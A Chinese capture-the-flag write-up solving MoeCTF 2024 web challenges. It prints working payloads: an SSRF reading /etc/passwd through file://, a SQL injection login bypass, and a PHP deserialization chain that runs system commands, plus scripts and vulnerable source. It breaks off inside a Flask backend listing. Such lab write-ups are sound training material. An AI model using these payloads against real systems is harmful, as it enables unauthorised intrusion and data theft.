Moectf_2024_web方向wp

弗拉格之地的入口

提示爬虫,想到robots.txt,访问发现

1
2
3
4
# Robots.txt file for xdsec.org
# only robots can find the entrance of web-tutor
User-agent: *
Disallow: /webtutorEntry.php

然后访问/webtutorEntry.php

moectf{COnGrAtU1@tION-foR-knowIng-r0Bots_TXt145cd}

ez_http

提示POST方法,随便发个空的POST,提示POST一个imoau=sb,然后是GET一个xt=大帅b(URL编码),然后加Referer:https://www.xidian.edu.cn/,再加 cookie: user=admin,再把UA头改成 MoeDedicatedBrowser,再加一个XFF标签127.0.0.1,得到flag,最后就像这样

ez_http-1

1
2
3
4
5
post请求和get请求自然不必多说,一个是在url后面以?get_parameter=value存在,另一个在http请求体中以post_parameter=value的形式存在;
Referer表示的是从哪个网页跳转来的;
cookie是网站识别用户的凭证;比如登陆过的网站无需再次登录就是cookie的作用;
UA头UserAgent可以可以反映请求者所使用的浏览器,操作系统之类的;
XFF标签X-Forwarded-For表示的是源IP,常用于IP地址伪造,用Client-Ip也是有的;

ProveYourLove

页面如下:

ProveYourLove-1

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
  <script>
document.addEventListener('DOMContentLoaded', function() {
// 获取当前表白份数
fetch('/confession_count')
.then(response => response.json())
.then(data => {
document.getElementById('confessionCount').textContent = data.count;
document.getElementById('flag').textContent = data.flag;
document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
})
.catch(error => {
console.error('Error:', error);
});
});

document.getElementById('confessionForm').addEventListener('submit', function(event) {
event.preventDefault(); // 阻止表单的默认提交行为

// 检查设备是否已提交过表白
if (localStorage.getItem('confessionSubmitted')) {
alert('您已经提交过表白,不能重复提交。');
return;
}

// 发起 OPTIONS 请求
fetch('/questionnaire', {
method: 'OPTIONS'
})
.then(response => {
if (!response.ok) {
throw new Error('OPTIONS 请求失败');
}

// 获取表单数据
const formData = new FormData(event.target);
const data = {};
formData.forEach((value, key) => {
data[key] = value;
});

// 提交表白数据
return fetch('/questionnaire', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
})
.then(response => response.json())
.then(result => {
if (result.success) {
alert('表白提交成功!');
localStorage.setItem('confessionSubmitted', 'true');

// 更新表白份数
fetch('/confession_count')
.then(response => response.json())
.then(data => {
document.getElementById('confessionCount').textContent = data.count;
document.getElementById('flag').textContent = data.flag;
document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
})
.catch(error => {
console.error('Error:', error);
});
} else {
alert('表白提交失败,请稍后重试。');
}
})
.catch(error => {
console.error('Error:', error);
});
});
</script>
</body>
</html>

这题的机制是,你需要填写图中的表单,提交表白,要达到300次就给你flag,但是当第一次提交后第二次再交会显示:你已提交过表白,请勿重复提交;原因在于:当服务器发送你的表单之后,会在localstorage留下confessionSubmitted标签,且值为True,那实际上,我们写脚本本身就可以绕开这个机制,即使内容重复也没有关系,所以直接写个脚本就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests

# URL to send requests to
url = "http://ip:port/questionnaire"

# Headers for the OPTIONS request
headers_options = {
'Connection': 'keep-alive',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
'Accept': '/',
'Origin': 'YOUR_CONTAINER_IP',
'Referer': 'YOUR_CONTAINER_IP',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
}

# Headers for the POST request
headers_post = {
'Connection': 'keep-alive',
'Content-Length': '122',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
'Content-Type': 'application/json',
'Accept': '/',
'Origin': 'YOUR_CONTAINER_IP',
'Referer': 'YOUR_CONTAINER_IP',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
}

# Payload for the POST request
data_post = {
"nickname": "121",
"user_gender": "male",
"target": "212121212",
"target_gender": "male",
"message": "1",
"anonymous": "false"
}

# Loop to send requests 300 times
for _ in range(300):


# Send POST request
response_post = requests.post(url, headers=headers_post, json=data_post)
print(f"POST Response Status Code: {response_post.status_code}")

最后得到flag:

moectf{CONgr4TulAtlOnS_on-Bec0minG-4_IiCk1Ng_dog216}
Qixi_flag: moeCTF{Happy_Chin3s3_Va13ntin3’s_Day,_Baby.}

ImageCloud前置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$url = $_GET['url'];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$res = curl_exec($ch);

$image_info = getimages\moectf2024izefromstring($res);
$mime_type = $image_info['mime'];

header('Content-Type: ' . $mime_type);

curl_close($ch);

echo $res;
?>

源代码如上

然后大致上就是从url参数里获取一个url,然后拿来curl;

curl返回的数据放到getimages\moectf2024izefromstring获取图片大小,然后一通操作后关闭curl会话,再echo返回的信息;

那我这里就可以用file://伪协议curl返回我要的东西,因为即使没有图片信息getimages\moectf2024izefromstring只会warning所以并不影响,题目说flag在/etc/passwd里面,所以就可以直接?url=file:///etc/passwd

1
2
3
4
Warning: Trying to access array offset on false in /var/www/html/index.php on line 13

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:13) in /var/www/html/index.php on line 15
root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin www-data:x:1000:1000:Linux User,,,:/home/www-data:/sbin/nologin nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin moectf{I-AM-VEry_sorRY_A6ouT-tHis40ddab44}

moectf{I-AM-VEry_sorRY_A6ouT-tHis40ddab44}

php支持的伪协议如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

静态网页

这个静态博客看板娘的话有hint

静态网页1

但是最后其实是直接用burp扫描出来的:向/api/get发送请求(和上面的hint对应),发现一个hint:

静态网页2

跳转后是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
if (!is_numeric($a) && !is_numeric($b)) {
if ($a == 0 && md5($a) == $b[$a]) {
echo $flag;
} else {
die('noooooooooooo');
}
} else {
die( 'Notice the param type!');
}
} else {
die( 'Where is your param?');
}

根据源码条件1要设置get参数a和post参数b,2且a,b不能为数字或者数字字符串,也包含了以数字为键的数组,3且弱比较a==0,4a的MD5

==b的a键的值;

那么payload就设置为a=”False”,b[“False”]=c4834a58ddd21fa19719fa1f3edc86e7

注意这里计算MD5是把引号也算进去的了;

moectf{ls-mY_wIFe_Plo_Ch@N_cuTE_or_YoUr_WIfe_15_pHP?145}

电院_Backend

这个用dirserach来扫描,发现/admin目录

电院1

然后发现登录入口

电院2

看看给的源码,验证码正常输入就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
session_start();

if($_POST){
$verify_code = $_POST['verify_code'];

// 验证验证码
if (empty($verify_code) || $verify_code !== $_SESSION['captcha_code']) {
echo json_encode(array('status' => 0,'info' => '验证码错误啦,再输入吧'));
unset($_SESSION['captcha_code']);
exit;
}

$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
unset($_SESSION['captcha_code']);
exit;
}

$pwd = $_POST['pwd'];
$pwd = md5($pwd);
$conn = mysqli_connect("localhost","root","123456","xdsec",3306);


$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);

if($row){
$_SESSION['admin_id'] = $row['id'];
$_SESSION['admin_email'] = $row['email'];
echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
} else{
echo json_encode(array('status' => 0,'info' => '管理员邮箱或密码错误'));
unset($_SESSION['captcha_code']);
}
}


?>

email必须含有邮箱格式,而且不能出现忽略大小写的or

前者很好办,只要有格式就行,没说必须整个输入都这样;or用||替代,用引号注入注释掉密码,输入验证码即可

payload为122@112.com‘ || 1=1 #

电院3

pop moe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class class000 {
private $payl0ad = 0;
protected $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}

if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

很经典的PHP链子,一堆有机联系的类,还有一个unserialize

大体上思路都是传参一个序列化后的对象,然后通过其实例化类,在类之间层层传递,最后利用类中的危险函数rce之类的;

Payload:

O:8:”class000”:2:{s:7:”payl0ad”;s:1:”m”;s:4:”what”;O:8:”class001”:2:{s:7:”payl0ad”;s:9:”dangerous“;s:1:”a”;O:8:”class002”:1:{s:3:”sec”;O:8:”class003”:1:{s:5:”mystr”;s:19:”system(“printenv”);”;}}}}

最后在环境变量里面找到:

KUBERNETES_PORT=tcp://10.43.0.1:443 KUBERNETES_SERVICE_PORT=443 USER=www-data HOSTNAME=ret2shell-35-1510 PHP_INI_DIR=/usr/local/etc/php SHLVL=3 HOME=/home/www-data PHP_LDFLAGS=-Wl,-O1 -pie PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_VERSION=8.3.10 GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_ASC_URL=https://www.php.net/distributions/php-8.3.10.tar.xz.asc PHP_URL=https://www.php.net/distributions/php-8.3.10.tar.xz KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443 PHPIZE_DEPS=autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c KUBERNETES_SERVICE_HOST=10.43.0.1 PWD=/var/www/html PHP_SHA256=a0f2179d00931fe7631a12cbc3428f898ca3d99fe564260c115af381d2a1978d FLAG=moectf{lT-s3Ems_Th@T-YOu-Know_whAT-IS_POP_1N-phPPPpPPp!!!96}

1
2
解释:
O标识实例化的类对象,8是对象名的长度,class000是对象名称,2指的是有几个键值对;都需要用:隔开;键值对之间用;隔开,然后对象后边不需要;s表示字符串;

魔术方法在这种链子的题目里面经常用到,是不同的类之间的跳板,总结一下php常用的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
1. __construct()
描述: 构造方法,在创建对象时调用。
调用条件: 使用 new 关键字实例化类时自动调用。
示例:
php
class Example {
public function __construct() {
echo "Object created!";
}
}

$obj = new Example(); // 输出: Object created!
2. __destruct()
描述: 析构方法,在对象销毁时调用。
调用条件: 对象超出作用域或 unset() 被调用时自动执行。
示例:
php
class Example {
public function __destruct() {
echo "Object destroyed!";
}
}

$obj = new Example();
unset($obj); // 输出: Object destroyed!
3. __call($name, $arguments)
描述: 当调用一个不存在或不可访问的方法时被调用。
调用条件: 使用对象调用一个不存在的方法。
示例:
php
class Example {
public function __call($name, $arguments) {
echo "Method '$name' does not exist.";
}
}

$obj = new Example();
$obj->nonExistentMethod(); // 输出: Method 'nonExistentMethod' does not exist.
4. __callStatic($name, $arguments)
描述: 当调用一个不存在或不可访问的静态方法时被调用。
调用条件: 使用类名调用不存在的静态方法。
示例:
php
class Example {
public static function __callStatic($name, $arguments) {
echo "Static method '$name' does not exist.";
}
}

Example::nonExistentStaticMethod(); // 输出: Static method 'nonExistentStaticMethod' does not exist.
5. __get($name)
描述: 当访问一个不可访问或不存在的属性时被调用。
调用条件: 尝试读取一个不可访问或未定义的属性。
示例:
php
class Example {
private $data = "Some data";

public function __get($name) {
return "Property '$name' does not exist.";
}
}

$obj = new Example();
echo $obj->nonExistentProperty; // 输出: Property 'nonExistentProperty' does not exist.
6. __set($name, $value)
描述: 当设置一个不可访问或不存在的属性时被调用。
调用条件: 尝试写入一个不可访问或未定义的属性。
示例:
php
class Example {
public function __set($name, $value) {
echo "Setting '$name' to '$value'.";
}
}

$obj = new Example();
$obj->nonExistentProperty = "Test"; // 输出: Setting 'nonExistentProperty' to 'Test'.
7. __isset($name)
描述: 当使用 isset() 或 empty() 检查一个不可访问或不存在的属性时被调用。
调用条件: 使用 isset() 或 empty() 检查属性。
示例:
php
class Example {
public function __isset($name) {
return false;
}
}

$obj = new Example();
var_dump(isset($obj->nonExistentProperty)); // 输出: bool(false)
8. __unset($name)
描述: 当尝试删除一个不可访问或不存在的属性时被调用。
调用条件: 使用 unset() 删除属性。
示例:
php
class Example {
public function __unset($name) {
echo "Unsetting '$name'.";
}
}

$obj = new Example();
unset($obj->nonExistentProperty); // 输出: Unsetting 'nonExistentProperty'.
9. __toString()
描述: 当对象被当作字符串使用时被调用。
调用条件: 在上下文中需要字符串表示的对象(如 echoprint)。
示例:
php
class Example {
public function __toString() {
return "This is a string representation of the object.";
}
}

$obj = new Example();
echo $obj; // 输出: This is a string representation of the object.
10. __invoke()
描述: 当对象被当作函数调用时被调用。
调用条件: 使用对象名并加括号(如同函数调用)。
示例:
php
class Example {
public function __invoke($param) {
return "Called with parameter: $param";
}
}

$obj = new Example();
echo $obj("test"); // 输出: Called with parameter: test
11. __clone()
描述: 当对象被克隆时调用。
调用条件: 使用 clone 关键字克隆对象。
示例:
php
class Example {
public function __clone() {
echo "Object cloned!";
}
}

$obj1 = new Example();
$obj2 = clone $obj1; // 输出: Object cloned!
12. __sleep() 和 __wakeup()
描述: __sleep() 在对象序列化前调用,__wakeup() 在对象反序列化后调用。
调用条件: 分别在 serialize() 和 unserialize() 时调用。
示例:
php
class Example {
public $data = "Some data";

public function __sleep() {
return ['data']; // 指定序列化的属性
}

public function __wakeup() {
echo "Object restored!";
}
}

$obj = new Example();
$serialized = serialize($obj); // 序列化
$obj2 = unserialize($serialized); // 反序列化,输出: Object restored!

勇闯铜人阵

这题只要搞懂玩法写一个脚本就可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import requests
from urllib.parse import quote
import re

# 设置初始参数
session_id = 'b6d4394ee50d789755fa0e582edbaa5e'
base_url = 'http://ip'
get_url = f'{base_url}:port/restart'
post_url = f'{base_url}:port/'

# 定义方向映射
direction_map = {
1: "北方",
2: "东北方",
3: "东方",
4: "东南方",
5: "南方",
6: "西南方",
7: "西方",
8: "西北方"
}

# 创建一个会话
session = requests.Session()

# 设置公共请求头
common_headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0',
'Cookie': f'verify=user; PHPSESSID={session_id}',
}

# 第一次发送 GET 请求
response_get = session.get(get_url, headers=common_headers)
print("GET请求响应:", response_get.text)

# 设置 POST 请求的公共头
post_headers = {
'Host': 'ip:port',
'Cache-Control': 'max-age=0',
'Origin': 'http://ip:port',
'Content-Type': 'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests': '1',
'Referer': 'http://ip:port/',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
'Connection': 'keep-alive'
}

# 初始 player 和 direct 值
player = 1
direct = '弟子明白'

# 发送第一次 POST 请求
post_data = {'player': player, 'direct': direct}
response_post = session.post(post_url, headers=post_headers, data=post_data)
print("第一次 POST 请求响应:", response_post.text)

# 从响应中提取数字列表
def extract_numbers_from_response(response_text):
match = re.search(r'us">(.*)</h', response_text,re.DOTALL)
if match:
print(match.group(1).replace("</h1>","").replace("</body>","").strip().split(','))
# 提取并处理数字
numbers = match.group(1).replace("</h1>","").replace("</body>","").strip().split(',')
return [int(num.strip()) for num in numbers if num.strip().isdigit()]
return []

# 循环五次
for _ in range(5):
# 提取数字列表
number_list = extract_numbers_from_response(response_post.text)

if len(number_list) == 0:
print("没有找到有效的数字。")
break

# 根据数字列表设置 direct
if len(number_list) == 1:
# 只有一个方向
direction_index = number_list[0]
direct = direction_map.get(direction_index, "")
else:
# 多个方向
s=0
directions = [direction_map.get(num) for num in number_list if num in direction_map]
for i in range(len(directions)):
directions[i]=directions[i]+"一个"
direct=",".join(directions)


# 发送下一个 POST 请求
post_data = {'player': player, 'direct': direct}
response_post = session.post(post_url, headers=post_headers, data=post_data)
print(f"POST 请求 {direct} 响应:", response_post.text)

唯一需要提醒的,这里从“弟子明白”开始就必须启用一个会话发送post,这样才会被认定为是“同一个弟子”在“听声辩位”,否则返回“你是上来捣乱的吧”

重点就在于根据服务器返回的页面准确识别到数字,对应成方向再发送出去

Re: 从零开始的 XDU 教书生活

明确一下我们需要做的事情首先我们要签到而不是代签,那我们要登陆所有学生的账号,在此状态下扫描二维码,也就是在这个会话之下get请求二维码的连接;另外我们不能放着老师的账号一直登陆,否则二维码将自动刷新;

首先我们要获得所有学生的账号,那就登录老师账号,f12控制台console我们可以找到所有学生账号,不过有重复,要去重;

re1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 读取文件并处理数据
with open('nums', 'r') as file:
lines = file.readlines()

# 去除非数字的行并转换为集合
numbers_set = {line.strip() for line in lines if line.strip().isdigit()}

# 计算集合长度
length = len(numbers_set)
print(f'集合长度: {length}')

# 将集合元素输出到新的文件
with open('output.txt', 'w') as output_file:
for number in numbers_set:
output_file.write(number + '\n')

确定学生总数没错后,我们就可以将其作为账号密码了

另外要注意,抓包后会发现,登陆的时候会把原始的账号密码用AES加密,所以我们自己发送请求也要这么操作才可以,密钥和iv都在后端源码

网页后端源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
from flask import Flask, render_template, request, jsonify, abort, make_response, redirect
from datetime import datetime, timedelta, timezone
from Crypto.Cipher import AES
import base64
import random
import uuid
import os

app = Flask(__name__)
app.config["TEMPLATES_AUTO_RELOAD"] = True

status = {0: "缺勤(未参与)", 1: "签到成功", 2: "教师代签", 5: "缺勤", 7: "病假", 8: "事假", 9: "迟到", 10: "早退", 11: "过期", 12: "公假", 39331: "实习", 39332: "实训", 39333: "免修", 39334: "参赛"}
teacher_phone = "10000"
user_pwd = {"10000": "10000"}
token_user = {}
sign_list = []

def gen(min: int, max: int, num: int) -> None:
n = 0
while n < num:
x = str(random.randint(min, max))
if x not in user_pwd:
user_pwd[x] = x
sign_list.append({"uid": int(x), "name": x, "status": 0})
n += 1

def get_current_time() -> str:
return datetime.now(timezone(timedelta(hours=8))).strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + "+08:00"

def get_current_timestamp() -> int:
return int(datetime.now().timestamp() * 1000)

def decrypt_by_aes(encrypted: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
encrypted_bytes = base64.b64decode(encrypted)
decrypted_bytes = cipher.decrypt(encrypted_bytes)
pad = decrypted_bytes[-1]
decrypted_bytes = decrypted_bytes[:-pad]
decrypted = decrypted_bytes.decode("utf-8")
return decrypted

def check_credentials(phone: str, password: str) -> bool:
return phone in user_pwd and user_pwd[phone] == password

def read_flag() -> str:
flag = os.getenv("FLAG")
if flag is None:
flag = "The FLAG environment variable is not set. If you see this in the remote container, plaese restart the service. If you see this in the local container, please set the FLAG environment variable."
return flag

start_time = get_current_time()
start_timestamp = get_current_timestamp()
time_long = -1
active_status = 1
active_id = 4000000000000
sign_code = None
enc = None

@app.route("/")
def index():
token = request.cookies.get("token")
if token is None or token not in token_user:
return redirect("/login")
if token_user[token] == teacher_phone:
return redirect("/widget/sign/pcTeaSignController/showSignInfo")
return redirect("/page/sign/signIn")

@app.route("/widget/sign/pcTeaSignController/showSignInfo", methods=["GET"])
def showSignInfo():
return render_template("showSignInfo.html", start_time=start_time, current_time=get_current_time(), time_long=time_long, time_long_2=0, active_id = active_id)

@app.route("/properties/language.properties", methods=["GET"])
def language():
return app.send_static_file("language.properties")

@app.route("/properties/language_zh_CN.properties", methods=["GET"])
def language_zh_CN():
return app.send_static_file("language_zh_CN.properties")

@app.route("/properties/language_zh_TW.properties", methods=["GET"])
def language_zh_TW():
return app.send_static_file("language_zh_TW.properties")

@app.route("/properties/language_en_US.properties", methods=["GET"])
def language_en_US():
return app.send_static_file("language_en_US.properties")

@app.route("/properties/language_th_TH.properties", methods=["GET"])
def language_th_TH():
return app.send_static_file("language_th_TH.properties")

@app.route("/properties/language_lo_LA.properties", methods=["GET"])
def language_lo_LA():
return app.send_static_file("language_lo_LA.properties")

@app.route("/widget/sign/pcTeaSignController/updateSignStatus2", methods=["POST"])
def update_sign_status():
token = request.cookies.get("token")
if token is None or token not in token_user or token_user[token] != teacher_phone:
return {"result": 0, "msg": None, "data": None, "errorMsg": "当前登录的账号不是教师,无法修改签到状态。"}
uid_and_aid = request.form.get("uidAndAid").split("_")
if len(uid_and_aid) != 2:
return jsonify({"result": 0, "msg": None, "data": None, "errorMsg": "Invalid arguments."})

uid = int(uid_and_aid[0])
print(f"parseUID {uid}")
status = int(request.form.get("status"))

for i in sign_list:
if i["uid"] == uid:
i["status"] = status
return jsonify({"result": 1, "msg": "success", "data": None, "errorMsg": None})

return jsonify({"result": 0, "msg": None, "data": None, "errorMsg": "Invalid arguments."})

@app.route("/widget/sign/pcTeaSignController/showSignInfo1", methods=["GET"])
def show_sign_info():
signed = []
unsigned = []
uniq_id = 0
for i in sign_list:
c = {
"id": uniq_id,
"uid": i["uid"],
"activeId": 0,
"status": i["status"],
"createtime": get_current_timestamp(),
"updatetime": get_current_timestamp(),
"name": i["name"],
"username": None,
"isdelete": None,
"qasort": None,
"sasort": None,
"longitude": None,
"latitude": None,
"longitude_gd": None,
"latitude_gd": None,
"distance": None,
"distanceStr": None,
"xxuid": None,
"clientip": None,
"issend": None,
"useragent": None,
"type": None,
"confidence": None,
"islook": None,
"isshow": None,
"score": None,
"skscore": None,
"result": None,
"title": None,
"iphoneContent": None,
"ismark": 0,
"submittime": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"groupId": None,
"taskavg": None,
"content": None,
"answerScore": None,
"answerTime": None,
"teacherGiveScore": 0,
"isPrompted": 0,
"mutualEvaluationId": None,
"pingyu": None,
"tag": None,
"flowerCount": None,
"schoolname": None,
"fid": 20,
"screenContent": None,
"screenimages\moectf2024": None,
"iframeCount": None,
"showScore": 0,
"teaScore": None,
"ifGiveScore": None,
"taskScoreRecored": None,
"taskTeacherEvaluation": None,
"updatetimeStr": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"stuGetAnswerTime": "",
"teaGetAnswerTime": ""
}
if int(i["status"]) in [0, 5, 11]:
unsigned.append(c)
else:
signed.append(c)
uniq_id += 1

response = {
"result": 1,
"msg": "获取数据成功",
"data": {
"yiqianList": signed,
"changeUnSignList": unsigned,
"total": len(sign_list),
"yiqian": len(signed)
},
"errorMsg": None
}

return jsonify(response)

@app.route("/widget/active/endActive", methods=["GET"])
def end_active():
token = request.cookies.get("token")
if token is None or token not in token_user or token_user[token] != teacher_phone:
return {"result": 0, "msg": None, "data": None, "errorMsg": "当前登录的账号不是教师,无法结束活动。"}

global active_status
active_status = 2
response = {
"result": 1,
"msg": "success",
"data": None,
"errorMsg": None
}

for i in sign_list:
if i["status"] != 1:
return jsonify(response)

response["errorMsg"] = read_flag()
return jsonify(response)

@app.route("/v2/apis/sign/refreshQRCode", methods=["GET"])
def refreash_QRCode():
global sign_code, enc
sign_code = str(random.randint(3000000000000, 4000000000000))
enc = "".join(random.choice(["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"]) for _ in range(32))
response = {
"result": 1,
"msg": "success",
"data": {
"enc": enc,
"signCode":sign_code
},
"errorMsg": None
}
return jsonify(response)

@app.route("/widget/sign/pcTeaSignController/getCount", methods=["GET"])
def get_count():
data = {
"currentTime": get_current_timestamp(),
"yiqian": len(sign_list),
"timeLong": time_long,
"activeStatus": active_status,
"startTime": start_timestamp
}

response = {
"result": 1,
"msg": "获取成功",
"data": data,
"errorMsg": None
}

return jsonify(response)

@app.route("/login", methods=["GET"])
def login():
loginType = request.args.get("loginType")
if loginType == "2" or loginType == "3":
abort(501)
return render_template("login.html")

@app.route("/fanyalogin", methods=["POST"])
def fanya_login():
data = request.form
phone = data.get("uname").strip()
pwd = data.get("password")
t = data.get("t")

if t == "true":
key = "u2oh6Vu^HWe4_AES"
iv = "u2oh6Vu^HWe4_AES"
